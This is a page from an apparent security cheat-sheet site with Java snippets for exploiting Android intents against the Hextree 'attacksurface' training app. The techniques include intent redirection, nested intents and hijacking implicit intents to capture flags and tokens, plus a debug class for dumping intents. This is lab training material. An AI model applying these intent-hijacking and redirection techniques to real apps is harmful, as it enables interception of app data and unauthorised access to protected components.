pwny.cc
  • Home
  • SO
    • AI
      • Evasion
        • Exercise 1
        • Exercise 2
        • Exercise 3
        • Exercise 4
    • Android
      • adb
      • apktool
      • burp suite
      • dns spoofing
      • frida
      • intent
      • jadx
      • JNI
      • objection
      • tcpdump
      • webview
    • iOS
      • objection
    • Linux
      • Internal Recon
      • Bypasses
      • Network
      • Exfiltration
      • Containers
      • Iptables
    • Windows
      • Internal Recon
      • External Recon
      • Bypasses
      • Network
      • Exfiltration
  • SHELLS
    • Misc
    • Web Shells
    • Reverse Shells
    • Obfuscated Shells
  • WEB ATTACKS
    • Misc
    • Command Injection
    • Cross-Site Scripting (XSS)
      • XSS Tips
      • WAF Bypasses
    • Insecure Direct Object Reference (IDOR)
    • Insecure File Upload
    • Local File Inclusion (LFI)
      • Bypass Techniques
      • LFI to RCE
    • OAuth
    • Open Redirect
      • Open Redirect to XSS
    • Server Side Request Forgery (SSRF)
    • Server Side Template Injection (SSTI)
    • SQL Injection (SQLi)
      • SQLMap
      • MySQL
      • MSSQL
      • Oracle
      • PostgreSQL
    • XML External Entity (XXE)
  • OTHER
    • Cracking
      • Hashcat
      • John the Ripper
    • Sandbox Escape
Powered by GitBook
On this page
  • Intents exploitation
  • Basic Intent
  • Intent with extras
  • Intent with data URI
  • Multiple Intent calls
  • Nested Intents (Intent in Intent)
  • Intent Redirect (Intent Forwarding)
  • Intent activity lifecycle
  • Intent returning Activity results
  • Intent returning Activity results + conditions
  • Hijack Implicit Intents
  • Hijack Implicit Intents (+ respond a specific result)
  • Utils
  • References

Was this helpful?

  1. SO
  2. Android

intent

A messaging object you can use to request an action from another app component.

Intents exploitation

Basic Intent

This code defines an onClick event that creates an explicit Intent to launch Flag1Activity within the io.hextree.attacksurface package when triggered.

public void onClick(View v) {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag1Activity"));
    startActivity(intent);
}

Intent with extras

This onClick event creates an explicit Intent to launch Flag2Activity within the io.hextree.attacksurface package, setting the action to "io.hextree.action.GIVE_FLAG" before starting the activity.

public void onClick(View v) {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity"));
    intent.setAction("io.hextree.action.GIVE_FLAG");
    startActivity(intent);
}

Intent with data URI

This onClick event creates an explicit Intent to launch Flag3Activity within the io.hextree.attacksurface package, setting the action to "io.hextree.action.GIVE_FLAG" and providing a data URI pointing to "https://app.hextree.io/map/android" before starting the activity.

public void onClick(View v) {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag3Activity"));
    intent.setAction("io.hextree.action.GIVE_FLAG");
    intent.setData(Uri.parse("https://app.hextree.io/map/android"));
    startActivity(intent);
}

Multiple Intent calls

This onClick event sequentially launches Flag4Activity multiple times with different actions ("PREPARE_ACTION", "BUILD_ACTION", "GET_FLAG_ACTION", "INIT_ACTION"), pausing for one second between each launch. Each Intent explicitly targets Flag4Activity within the io.hextree.attacksurface package to execute distinct actions in a specific order.

public void onClick(View v) {
    Intent prepareIntent = new Intent();
    prepareIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    prepareIntent.setAction("PREPARE_ACTION");
    startActivity(prepareIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent buildIntent = new Intent();
    buildIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    buildIntent.setAction("BUILD_ACTION");
    startActivity(buildIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent getFlagIntent = new Intent();
    getFlagIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    getFlagIntent.setAction("GET_FLAG_ACTION");
    startActivity(getFlagIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent initIntent = new Intent();
    initIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag4Activity"));
    initIntent.setAction("INIT_ACTION");
    startActivity(initIntent);
}

Nested Intents (Intent in Intent)

This onClick event creates a chain of nested Intents to launch Flag5Activity in the io.hextree.attacksurface package. The primary mainIntent contains a nested Intent (nestedIntent1) with an extra key "return" set to 42. Inside nestedIntent1, another Intent (nestedIntent2) is nested with an extra "reason" set to "back". This structured setup initiates Flag5Activity with a chain of Intents for conditional processing.

public void onClick(View v) {
    Intent mainIntent = new Intent();
    mainIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));

    Intent nestedIntent1 = new Intent();
    nestedIntent1.putExtra("return", 42);

    Intent nestedIntent2 = new Intent();
    nestedIntent2.putExtra("reason", "back");

    nestedIntent1.putExtra("nextIntent", nestedIntent2);

    mainIntent.putExtra("android.intent.extra.INTENT", nestedIntent1);

    startActivity(mainIntent);
}

Intent Redirect (Intent Forwarding)

This onClick event constructs a series of nested Intents to initiate Flag5Activity in the io.hextree.attacksurface package. The main Intent, mainIntent, includes a nested Intent (nestedIntent1) with an extra key "return" set to 42. Inside nestedIntent1, a secondary nested Intent (nestedIntent2) is configured to start Flag6Activity, with extras "reason" set to "next" and the flag FLAG_GRANT_READ_URI_PERMISSION. This layered structure directs Flag5Activity to process nestedIntent1 and, conditionally, initiate Flag6Activity.

public void onClick(View v) {
    Intent mainIntent = new Intent();
    mainIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));

    Intent nestedIntent1 = new Intent();
    nestedIntent1.putExtra("return", 42);

    Intent nestedIntent2 = new Intent();
    nestedIntent2.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity"));
    nestedIntent2.putExtra("reason", "next");
    nestedIntent2.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

    nestedIntent1.putExtra("nextIntent", nestedIntent2);

    mainIntent.putExtra("android.intent.extra.INTENT", nestedIntent1);

    startActivity(mainIntent);
}

Intent activity lifecycle

This onClick event sequentially launches Flag7Activity in the io.hextree.attacksurface package with two distinct actions. First, it starts Flag7Activity with the "OPEN" action. After a one-second pause, it launches Flag7Activity again with the "REOPEN" action, adding the FLAG_ACTIVITY_SINGLE_TOP flag to prevent creating a new instance if Flag7Activity is already at the top of the activity stack.

public void onClick(View v) {
    Intent openIntent = new Intent();
    openIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));
    openIntent.setAction("OPEN");
    startActivity(openIntent);

    try {
        Thread.sleep(1000);
    } catch (InterruptedException e) {
        throw new RuntimeException(e);
    }

    Intent reopenIntent = new Intent();
    reopenIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));
    reopenIntent.setAction("REOPEN");
    reopenIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
    startActivity(reopenIntent);
}

Intent returning Activity results

HextreeLauncherActivity displays a button that, when clicked, launches Flag8Activity using startActivityForResult to enable it to verify the calling activity’s identity. If Flag8Activity returns a result, onActivityResult can optionally handle it.

public class HextreeLauncherActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_hextree_launcher);

        // Set up the button listener to launch Flag8Activity
        Button launchButton = findViewById(R.id.launchFlag8Button);
        launchButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                launchFlag8Activity();
            }
        });
    }

    public void launchFlag8Activity() {
        // Create an explicit Intent to launch Flag8Activity
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag8Activity"));
        startActivityForResult(intent, 1); // Use startActivityForResult to ensure getCallingActivity works in Flag8Activity
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        // Optionally, handle any returned result from Flag8Activity here
    }
}

Intent returning Activity results + conditions

HextreeLauncherActivity displays a button that, when clicked, launches Flag9Activity to request a flag. Once Flag9Activity returns, HextreeLauncherActivity retrieves and displays the flag via a Toast message if the result is successful.

public class HextreeLauncherActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_hextree_launcher);

        // Set up the button listener to launch Flag8Activity
        Button launchButton = findViewById(R.id.launchFlag8Button);
        launchButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                launchFlag9Activity();
            }
        });
    }

    public void launchFlag9Activity() {
        // Create an explicit Intent to launch Flag9Activity
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag9Activity"));
        startActivityForResult(intent, 1); // Use startActivityForResult to ensure getCallingActivity works in Flag9Activity
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        if (requestCode == 1 && resultCode == Activity.RESULT_OK && data != null) {
            // Retrieve the flag from the intent data
            String flag = data.getStringExtra("flag");
            if (flag != null) {
                // Display the flag using a Toast or any preferred method
                Toast.makeText(this, "Received flag: " + flag, Toast.LENGTH_LONG).show();
            }
        }
    }
}

Hijack Implicit Intents

Manifest.xml

<activity
    android:name=".SecondActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

SecondActivity listens for an implicit intent with the action "io.hextree.attacksurface.ATTACK_ME". When launched, it retrieves a flag from the intent’s extras, displays it with a Toast, and returns a result if needed before finishing.

public class SecondActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Check if the intent action matches the expected action
        Intent intent = getIntent();
        if ("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())) {
            // Retrieve the flag from the intent's extras
            String flag = intent.getStringExtra("flag");

            if (flag != null) {
                // Display the flag using a Toast
                Toast.makeText(this, "Received flag: " + flag, Toast.LENGTH_LONG).show();

                // Optionally, send a result back if needed
                Intent resultIntent = new Intent();
                resultIntent.putExtra("received_flag", flag);
                setResult(Activity.RESULT_OK, resultIntent);
            } else {
                Toast.makeText(this, "Flag not found in intent", Toast.LENGTH_SHORT).show();
            }
        } else {
            Toast.makeText(this, "Incorrect intent action", Toast.LENGTH_SHORT).show();
        }

        finish();
    }
}

Hijack Implicit Intents (+ respond a specific result)

SecondActivity listens for an implicit intent with the action "io.hextree.attacksurface.ATTACK_ME". Upon receiving it, the activity creates a result intent containing a specific token (1094795585) and returns it to the calling activity, then finishes.

public class SecondActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = getIntent();
        if ("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())) {
            Intent resultIntent = new Intent();
            resultIntent.putExtra("token", 1094795585);
            setResult(RESULT_OK, resultIntent);
            finish();
        }

        finish();
    }
}

Utils

Java class for debug

// package io.hextree.activitiestest;

import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.Typeface;
import android.os.Bundle;
import android.view.Gravity;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.TextView;

import java.util.Set;

public class Utils {
    public static String dumpIntent(Context context, Intent intent) {
        return dumpIntent(context, intent, 0);
    }

    private static String dumpIntent(Context context, Intent intent, int indentLevel) {
        if (intent == null) {
            return "Intent is null";
        }

        StringBuilder sb = new StringBuilder();
        String indent = new String(new char[indentLevel]).replace("\0", "    ");

        // Append basic intent information
        sb.append(indent).append("[Action]    ").append(intent.getAction()).append("\n");
        // Append categories
        Set<String> categories = intent.getCategories();
        if (categories != null) {
            for (String category : categories) {
                sb.append(indent).append("[Category]  ").append(category).append("\n");
            }
        }
        sb.append(indent).append("[Data]      ").append(intent.getDataString()).append("\n");
        sb.append(indent).append("[Component] ").append(intent.getComponent()).append("\n");
        sb.append(indent).append("[Flags]     ").append(getFlagsString(intent.getFlags())).append("\n");


        // Append extras
        Bundle extras = intent.getExtras();
        if (extras != null) {
            for (String key : extras.keySet()) {
                Object value = extras.get(key);
                if (value instanceof Intent) {
                    sb.append(indent).append("[Extra:'").append(key).append("'] -> Intent\n");
                    // Recursively dump nested intents with increased indentation
                    sb.append(dumpIntent(context, (Intent) value, indentLevel + 1));  
                } else if (value instanceof Bundle) {
                    sb.append(indent).append("[Extra:'").append(key).append("'] -> Bundle\n");
                    // Recursively dump nested intents with increased indentation
                    sb.append(dumpBundle((Bundle) value, indentLevel + 1));
                } else {
                    sb.append(indent).append("[Extra:'").append(key).append("']: ").append(value).append("\n");
                }
            }
        }

        // Query the content URI if FLAG_GRANT_READ_URI_PERMISSION is set
        /*
        if ((intent.getFlags() & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
            Uri data = intent.getData();
            if (data != null) {
                sb.append(queryContentUri(context, data, indentLevel + 1));
            }
        }
        */

        return sb.toString();
    }
    
    public static String dumpBundle(Bundle bundle) {
        return dumpBundle(bundle, 0);
    }

    private static String dumpBundle(Bundle bundle, int indentLevel) {
        if (bundle == null) {
            return "Bundle is null";
        }

        StringBuilder sb = new StringBuilder();
        String indent = new String(new char[indentLevel]).replace("\0", "    ");

        for (String key : bundle.keySet()) {
            Object value = bundle.get(key);
            if (value instanceof Bundle) {
                sb.append(String.format("%s['%s']: Bundle[\n%s%s]\n", indent, key, dumpBundle((Bundle) value, indentLevel + 1), indent));
            } else {
                sb.append(String.format("%s['%s']: %s\n", indent, key, value != null ? value.toString() : "null"));
            }
        }
        return sb.toString();
    }

    private static String getFlagsString(int flags) {
        StringBuilder flagBuilder = new StringBuilder();
        if ((flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) flagBuilder.append("GRANT_READ_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) flagBuilder.append("GRANT_WRITE_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION) != 0) flagBuilder.append("GRANT_PERSISTABLE_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_PREFIX_URI_PERMISSION) != 0) flagBuilder.append("GRANT_PREFIX_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_ACTIVITY_NEW_TASK) != 0) flagBuilder.append("ACTIVITY_NEW_TASK | ");
        if ((flags & Intent.FLAG_ACTIVITY_SINGLE_TOP) != 0) flagBuilder.append("ACTIVITY_SINGLE_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_HISTORY) != 0) flagBuilder.append("ACTIVITY_NO_HISTORY | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_TOP) != 0) flagBuilder.append("ACTIVITY_CLEAR_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_FORWARD_RESULT) != 0) flagBuilder.append("ACTIVITY_FORWARD_RESULT | ");
        if ((flags & Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP) != 0) flagBuilder.append("ACTIVITY_PREVIOUS_IS_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) != 0) flagBuilder.append("ACTIVITY_EXCLUDE_FROM_RECENTS | ");
        if ((flags & Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT) != 0) flagBuilder.append("ACTIVITY_BROUGHT_TO_FRONT | ");
        if ((flags & Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) != 0) flagBuilder.append("ACTIVITY_RESET_TASK_IF_NEEDED | ");
        if ((flags & Intent.FLAG_ACTIVITY_LAUNCHED_FROM_HISTORY) != 0) flagBuilder.append("ACTIVITY_LAUNCHED_FROM_HISTORY | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET) != 0) flagBuilder.append("ACTIVITY_CLEAR_WHEN_TASK_RESET | ");
        if ((flags & Intent.FLAG_ACTIVITY_NEW_DOCUMENT) != 0) flagBuilder.append("ACTIVITY_NEW_DOCUMENT | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_USER_ACTION) != 0) flagBuilder.append("ACTIVITY_NO_USER_ACTION | ");
        if ((flags & Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) != 0) flagBuilder.append("ACTIVITY_REORDER_TO_FRONT | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_ANIMATION) != 0) flagBuilder.append("ACTIVITY_NO_ANIMATION | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_TASK) != 0) flagBuilder.append("ACTIVITY_CLEAR_TASK | ");
        if ((flags & Intent.FLAG_ACTIVITY_TASK_ON_HOME) != 0) flagBuilder.append("ACTIVITY_TASK_ON_HOME | ");
        if ((flags & Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS) != 0) flagBuilder.append("ACTIVITY_RETAIN_IN_RECENTS | ");
        if ((flags & Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT) != 0) flagBuilder.append("ACTIVITY_LAUNCH_ADJACENT | ");
        if ((flags & Intent.FLAG_ACTIVITY_REQUIRE_DEFAULT) != 0) flagBuilder.append("ACTIVITY_REQUIRE_DEFAULT | ");
        if ((flags & Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER) != 0) flagBuilder.append("ACTIVITY_REQUIRE_NON_BROWSER | ");
        if ((flags & Intent.FLAG_ACTIVITY_MATCH_EXTERNAL) != 0) flagBuilder.append("ACTIVITY_MATCH_EXTERNAL | ");
        if ((flags & Intent.FLAG_ACTIVITY_MULTIPLE_TASK) != 0) flagBuilder.append("ACTIVITY_MULTIPLE_TASK | ");
        if ((flags & Intent.FLAG_RECEIVER_REGISTERED_ONLY) != 0) flagBuilder.append("RECEIVER_REGISTERED_ONLY | ");
        if ((flags & Intent.FLAG_RECEIVER_REPLACE_PENDING) != 0) flagBuilder.append("RECEIVER_REPLACE_PENDING | ");
        if ((flags & Intent.FLAG_RECEIVER_FOREGROUND) != 0) flagBuilder.append("RECEIVER_FOREGROUND | ");
        if ((flags & Intent.FLAG_RECEIVER_NO_ABORT) != 0) flagBuilder.append("RECEIVER_NO_ABORT | ");
        if ((flags & Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS) != 0) flagBuilder.append("RECEIVER_VISIBLE_TO_INSTANT_APPS | ");

        if (flagBuilder.length() > 0) {
            // Remove the trailing " | "
            flagBuilder.setLength(flagBuilder.length() - 3);
        }

        return flagBuilder.toString();
    }

    public static void showDialog(Context context, Intent intent) {
        if(intent == null) return;
        // Create the dialog
        Dialog dialog = new Dialog(context);
        dialog.requestWindowFeature(Window.FEATURE_NO_TITLE);
        dialog.setCancelable(true);

        // Create a LinearLayout to hold the dialog content
        LinearLayout layout = new LinearLayout(context);
        layout.setOrientation(LinearLayout.VERTICAL);
        layout.setPadding(20, 50, 20, 50);
        layout.setBackgroundColor(0xffefeff5);


        // Add a TextView for the title
        TextView title = new TextView(context);
        title.setText("Intent Details: ");
        title.setTextSize(16);
        title.setTextColor(0xff000000);
        title.setTypeface(Typeface.DEFAULT, Typeface.BOLD);
        title.setPadding(0, 0, 0, 40);
        title.setGravity(Gravity.CENTER);
        title.setBackgroundColor(0xffefeff5);
        layout.addView(title);

        // Add a TextView for the message
        TextView message = new TextView(context);
        message.setText(dumpIntent(context, intent));
        message.setTypeface(Typeface.MONOSPACE);
        message.setTextSize(12);
        message.setTextColor(0xff000000);
        message.setPadding(0, 0, 0, 30);
        message.setGravity(Gravity.START);
        message.setBackgroundColor(0xffefeff5);
        layout.addView(message);

        // Add an OK button
        Button positiveButton = new Button(context);
        positiveButton.setText("OK");
        positiveButton.setTextColor(0xff000000);
        positiveButton.setOnClickListener(v -> dialog.dismiss());
        layout.addView(positiveButton);

        // Set the layout as the content view of the dialog
        dialog.setContentView(layout);

        // Adjust dialog window parameters to make it fullscreen
        Window window = dialog.getWindow();
        if (window != null) {
            window.setLayout(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT);
            window.setBackgroundDrawableResource(android.R.color.transparent);
            WindowManager.LayoutParams wlp = window.getAttributes();
            wlp.gravity = Gravity.BOTTOM;
            wlp.flags &= ~WindowManager.LayoutParams.FLAG_DIM_BEHIND;
            window.setAttributes(wlp);
        }

        dialog.show();
        // Animate the dialog with a slide-in effect
        layout.setTranslationY(2000); // Start off-screen to the right
        layout.setAlpha(0f);
        ObjectAnimator translateYAnimator = ObjectAnimator.ofFloat(layout, "translationY", 0);
        ObjectAnimator alphaAnimator = ObjectAnimator.ofFloat(layout, "alpha", 1f);
        AnimatorSet animatorSet = new AnimatorSet();
        animatorSet.playTogether(translateYAnimator, alphaAnimator);
        animatorSet.setDuration(300); // Duration of the animation
        animatorSet.setStartDelay(100); // Delay before starting the animation
        animatorSet.start();
    }
}

References

PreviousfridaNextjadx

Last updated 7 months ago

Was this helpful?

Intents y filtros de intents  |  Desarrolladores de Android  |  Android DevelopersAndroid Developers
hextree.iohextree.io
Logo
Logo